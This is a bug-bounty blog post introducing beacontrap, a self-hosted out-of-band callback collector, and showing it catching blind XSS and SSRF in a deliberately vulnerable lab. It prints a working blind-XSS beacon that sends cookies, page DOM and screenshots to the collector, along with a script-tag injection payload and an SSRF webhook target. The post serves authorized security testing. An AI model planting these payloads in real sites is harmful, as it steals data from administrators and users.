collininfosec

Beacon Calls: Own the Collector That Catches Your Blind Bugs

July 28, 2026
bug-bountyout-of-banddnsgoself-hosted
📚 Part 1 of 2 in the Beacon Calls series ← Prev Next →

I deleted the collector out of a running lab, mid-session, and dropped a different binary in its place. Every callback kept landing. The vulnerable app never noticed, the headless staff bot kept triaging tickets, and a few minutes later I was looking at a live feed of blind bugs firing against infrastructure I had swapped in on a whim.

That binary is called beacontrap, and it is the reason I am starting this series.

Let me back up, because if you have not spent time hunting blind bugs, none of that computes. This first post does two things: it lays out what this series is going to cover, and it introduces the piece of infrastructure sitting at the center of all of it. It is a real tool you can pull off GitHub today, run on your own box, and point at your own targets. Let’s get into it.

What Beacon Calls is

TL;DR: A whole class of bugs, the blind and out-of-band ones, never prove themselves in the response you get back. The proof shows up somewhere else and later, on a server you control. This series is about hunting that class properly, and it starts with the one thing you cannot do without: a collector.

Here is the thing that took me a long time to internalize. When I started hunting web bugs I lived on authorization issues: send User B’s request for User A’s data, watch for a 403, occasionally hit a 200 you should not have. That loop is honest. It tells you right away whether you won.

Out-of-band bugs are the opposite. A blind SSRF, a stored payload that only fires in an admin’s console, an XML parser chewing on your input inside a backend worker: none of those show you anything in the response. You fire the payload and the page comes back with a cheerful 200 or a bland “test event sent,” and your gut says nothing happened. The feedback loop often will take much longer. The proof was always going to arrive seconds or minutes later, on a machine you do not control, triggered by software you will never see.

So this series is the whole loop, told as I learned it. Over the next few posts we’ll build and use a runnable lab, take the collector apart to see how it works from scratch, hunt the lab class by class as a field guide, and then break and fix each bug as a defender. There is also a thread running underneath all of it: catching a callback is one thing, but proving your collector is actually reachable and executing out on the real internet is another, and we’ll come back to that.

But every one of those posts leans on the same foundation. You need something for the bug to call home to. That is what we’re introducing today.

↑ Return to Top


Meet beacontrap

TL;DR: beacontrap is a self-hosted out-of-band interaction catcher. Point a domain at it, catch your blind bugs, and watch them land in a live cockpit. One Go binary, your domain, your box, your data, no third party in the middle.

The pitch is simple. You delegate a domain to a box you own, you run one binary, and from then on anything a target does to reach that domain gets caught, correlated, and shown to you in a live dashboard. Here is what it catches, all in one process:

VectorHow it landsWhat you see
DNS (blind SSRF, OOB SQLi, RCE pingback)a lookup of <token>.<zone>source IP, query type, timing
HTTP/HTTPS (blind SSRF, blind XSS)a request to <token>.<zone>method, path, headers, source
Blind XSS executionthe served beacon runs in a victim’s browserURL, referrer, DOM snapshot, cookies, a screenshot
XXEan external-DTD pull, then a file beaconthe exfiltrated file, decoded
DNS-tunnel or FTP exfildata in the labels or the ftp paththe decoded payload

That table is the “what,” but the reason I built beacontrap instead of grabbing something off the shelf comes down to a handful of things that are genuinely annoying to get right yourself:

  • Turnkey wildcard HTTPS. This is the headline. Blind XSS fires on HTTPS admin panels, and an http:// beacon gets blocked there as mixed content, so it never runs. beacontrap issues and auto-renews a *.<zone> Let’s Encrypt certificate on its own, with no third-party DNS API to wire up. Flip one flag and your HTTPS beacons just work. Most roll-your-own catchers never clear this bar. More on the trick that makes it possible in a moment.
  • A real cockpit, not a log file. A live feed, grouped by token, with per-callback detail: headers, cookies, the DOM snapshot, decoded exfil, a screenshot. And it renders everything it caught as plain text, so a captured payload can never execute inside the console you are viewing it in.
  • One static binary. Pure Go, no cgo, embedded SQLite. Nothing to provision, no runtime, no services to babysit.
  • Multi-protocol in one process: DNS, HTTP, HTTPS, and FTP.
  • Screenshots with no server-side browser. The beacon uses the victim page’s own rendering if it can, and the image rides home in the callback.
  • Webhook alerts to Discord or Slack on the first hit for a token.

A quick note on names, because this series has a few catchers in it and I do not want you to mix them up. Huginn is the small teaching collector built into the lab, the one you learn on, named after one of Odin’s two ravens. I also run a separate, private collector for real work, which stays private for good reasons. beacontrap is the public one: the same proven core I trust in production, decoupled and released so anyone can run it. It lives in a single repo, github.com/collininfosec/beacontrap, under an MIT license. Huginn teaches the idea in a sandbox; beacontrap is the thing you point a real domain at.

↑ Return to Top


How it works

TL;DR: beacontrap is the authoritative DNS server for your zone, so it sees and answers every lookup under it. A token baked into the hostname attributes each callback to its injection point, and a GET returns a self-contained beacon, which is why a bare script tag is a complete blind XSS.

There are a few moving parts, and they are worth understanding even if you never open the code.

Authoritative DNS is the foundation. You delegate oob.example.com to the box, and beacontrap answers every *.oob.example.com lookup with its own IP while logging the query. That logging matters more than it sounds: a DNS lookup alone proves a server-side fetch or exec, even when every outbound HTTP request is firewalled. DNS is the channel that almost never gets blocked, so it is the one you build on.

The token is the whole correlation engine. Every callback host looks like [<exfil>.]<token>.<zone>. Strip the zone, and the rightmost label is the token that ties the hit back to exactly what you injected. Anything you prepend to the left of it rides home as free exfil data, auto-decoded from base64, base32, or hex. You never hand-craft subdomains or keep a spreadsheet of which weird string went where.

The beacon is served, not hosted. A GET to any callback host returns a tiny, self-contained script that collects the page context and sends it back:

(function(){try{
  var B="//<host>/";
  var d={location:location.href,cookies:document.cookie,
         referrer:document.referrer,dom:document.documentElement.outerHTML.slice(0,200000)};
  function send(){fetch(B,{method:"POST",body:JSON.stringify(d),mode:"no-cors",keepalive:true});}
  if(window.html2canvas){html2canvas(document.body).then(function(c){d.screenshot=c.toDataURL("image/png");send();});}
  else{send();}
}catch(e){})();

Because the server answers for every name in the zone and returns this on a GET, a bare "><script src=//<token>.<zone>></script> planted anywhere is a complete, context-collecting blind XSS. You hand-roll nothing.

The wildcard HTTPS trick is the clever bit. Let’s Encrypt only issues a wildcard *.<zone> through a DNS-01 challenge, a TXT record at _acme-challenge.<zone>. Normally you would wire an ACME client to your DNS provider’s API to write that record. But beacontrap is the zone’s DNS server, so it just writes the challenge into its own responder and answers itself:

func (p txtStoreProvider) AppendRecords(_ context.Context, zone string, recs []libdns.Record) ([]libdns.Record, error) {
	for _, r := range recs {
		rr := r.RR()
		p.l.AddTXT(libdns.AbsoluteName(rr.Name, zone), rr.Data)
	}
	return recs, nil
}

No API keys, no provider integration, no third party. That is the entire reason turnkey wildcard HTTPS is possible here, and it is not theoretical: the same core runs a live, browser-trusted wildcard certificate in production today. In the lab demo below we run plain HTTP, since a real certificate needs real public DNS delegation, but the mechanism is the one shipping in the binary.

The rest is unglamorous on purpose: a pure-Go SQLite file, one flat table grouped by token, and a self-contained web cockpit that reads it live.

↑ Return to Top


The proof: I swapped it into the lab

TL;DR: I ran beacontrap as a drop-in replacement for the lab’s own Huginn collector, changed nothing else, and fired real vulnerabilities at it. It caught all of them, with full execution context.

Talk is cheap, so here is the demo that made me believe it. The lab wires every container’s DNS resolver at the collector’s address. I stopped Huginn, started beacontrap at the same address and zone, and left everything else alone:

docker stop oob-huginn          # pull out the lab's toy collector
docker run -d --name beacontrap --network oob_oobnet --ip 172.28.0.53 \
  beacontrap --zone oob.range --answer-ip 172.28.0.53 --ns-name ns1.oob.range \
  --dns-addr :53 --http-addr :80 --web-addr 0.0.0.0:8088 --web-token "$(openssl rand -hex 16)"
# beacontrap logs:
#   beacontrap.start   zone=oob.range answer_ip=172.28.0.53 tls=false
#   cockpit.serving    addr=0.0.0.0:8088 auth=true
#   catcher.serving    dns=:53 http=:80 ftp=:21

That was the entire migration. The vulnerable app, its background worker, and the headless staff bot all kept running and started calling home to beacontrap instead. In a few minutes of normal lab activity, the cockpit logged around 175 callbacks across 12 tokens:

The one I care about most is the blind XSS. On the deliberately vulnerable lab, as a customer, I filed a support ticket whose body was nothing but "><script src=//bxss-lab01.oob.range></script>, and then I walked away.

A while later the lab’s headless staff bot opened that ticket in the admin console, the beacon executed inside its privileged session, and this landed:

Look at what got captured. The payload fired at http://172.28.0.81:8081/admin/tickets/6, a staff-only console I have no access to, and beacontrap grabbed 1,353 characters of that page’s DOM, the referrer, and the fetcher’s user agent (HeadlessChrome/129). This is the exact real-world scenario: your payload sits in a ticket, and a different, more privileged actor opens it later, and it fires against them.

One interesting detail: the cookie came back empty, and that is correct. The staff session cookie is HttpOnly, so JavaScript cannot read it, and the beacon says so plainly rather than pretending otherwise. When the cookie is off the table you pivot to what the running script can do inside that privileged origin, and the captured DOM plus URL is already proof of cross-user execution.

The blind SSRF is the other classic. I added a webhook integration pointing at http://ssrf-lab01.oob.range/:

The app’s background worker dutifully fetched it server-side, and here is the callback:

The source is a server address, not a browser, and the user agent is the worker’s own fingerprint. That is a confirmed server-side fetch, which is the whole ballgame for SSRF.

DNS pings and the dash-encoded rebind alias got caught too. One honest divergence worth stating: the lab’s own Huginn collector remaps that rebind alias to a mock metadata container, while beacontrap returns the literal 169.254.169.254, which is the correct generic behavior. The callback is still caught; only the onward hop differs. I would rather tell you that than have you find it.

↑ Return to Top


Owning your catcher

TL;DR: Catching a callback is a solved problem. The upgrade is owning the thing that catches it, so your findings are yours, your HTTPS blind XSS does not get dropped on the floor, and you can actually trust a quiet result.

A null out-of-band result is only trustworthy if your collector was genuinely reachable and executing in the first place. That is the trap.

DO
Dana OkaforTriage Lead
Ticket
ToCollin · Security Researcher
SubjectThe monitor says the collector is up. Is it actually catching?

Hi Collin,

Dashboard says the callback host is reachable, so we've been treating quiet scans as clean. But "the port answers" is not the same as "a real browser executed our beacon and it phoned home." Before we sign off on a null result, I want to know the whole chain actually works end to end.

Can you get us on a collector we control, and prove it catches and executes rather than just pings back?

Thanks, Dana

Dana is right, and it is the reason to own the thing. A shared collector leaks your findings to whoever else is on it. A half-built one silently drops HTTPS blind XSS, so you conclude “no bug” when really your beacon never loaded. When you run your own, you control the zone, the TLS, the retention, and you can actually answer the question “is this quiet because it is safe, or because my catcher is broken?” Liveness is not reachability, and reachability is not execution. That gap is exactly what we’ll dig into later in the series, and beacontrap ships with a small companion for it, beaconcheck, which probes your collector from the outside and tells you whether a real browser actually executed the beacon. We’ll put it to work in its own post.

↑ Return to Top


Stand it up

TL;DR: Install the binary, delegate a zone to your box, and run it. With one flag you also get an auto-issued wildcard certificate so your HTTPS beacons execute.

Here is the whole thing:

go install github.com/collininfosec/beacontrap/cmd/beacontrap@latest

# delegate an OOB zone to your box (at your DNS registrar):
#   oob.example.com.      NS   ns1.oob.example.com.
#   ns1.oob.example.com.  A    203.0.113.10          ; your box's public IP

# run it: wildcard HTTPS + a token-guarded cockpit
sudo beacontrap \
  --zone oob.example.com --answer-ip 203.0.113.10 --ns-name ns1.oob.example.com \
  --tls --acme-email you@example.com --acme-prod --cert-dir /var/lib/beacontrap/certs \
  --web-addr 127.0.0.1:8080 --web-token "$(openssl rand -hex 16)"

Then fire a payload at your target pointing at <anything>.oob.example.com and watch it land. Every flag also reads a BT_ environment variable, which is handy for containers.

⚠ Warning

beacontrap is a real capability, not a lab toy. Heed this warning that it is authoritative DNS for its zone and it serves live beacons, so only point it at infrastructure you are authorized to test, whether that is this series' lab (Deskmoor) or a target inside a bug bounty program's scope. When you self-host, bind the cockpit to loopback or set a strong --web-token if you expose it, since it holds captured callback data.

No target handy? That is what the lab is for. In the next posts we’ll clone it and point beacontrap at it exactly the way I did here, so you get a zero-risk way to watch the whole loop work before you aim it at anything real.

That is the pattern for the whole series: run the lab to learn, run beacontrap to hunt for real. If you stand it up, star the repo so you can find it again, and reply with what you catch. I want to see it.

Blind bugs prove themselves on a server you control, so I built one you can actually own. One Go binary, wildcard HTTPS, a live cockpit, MIT licensed. I pointed it at my lab and it caught the staff-panel XSS on the first pass. Next in the series, we take the small teaching version apart and build a collector from scratch, so you can see exactly how every piece of this works. Thanks for reading, and I’ll see you there.

↑ Return to Top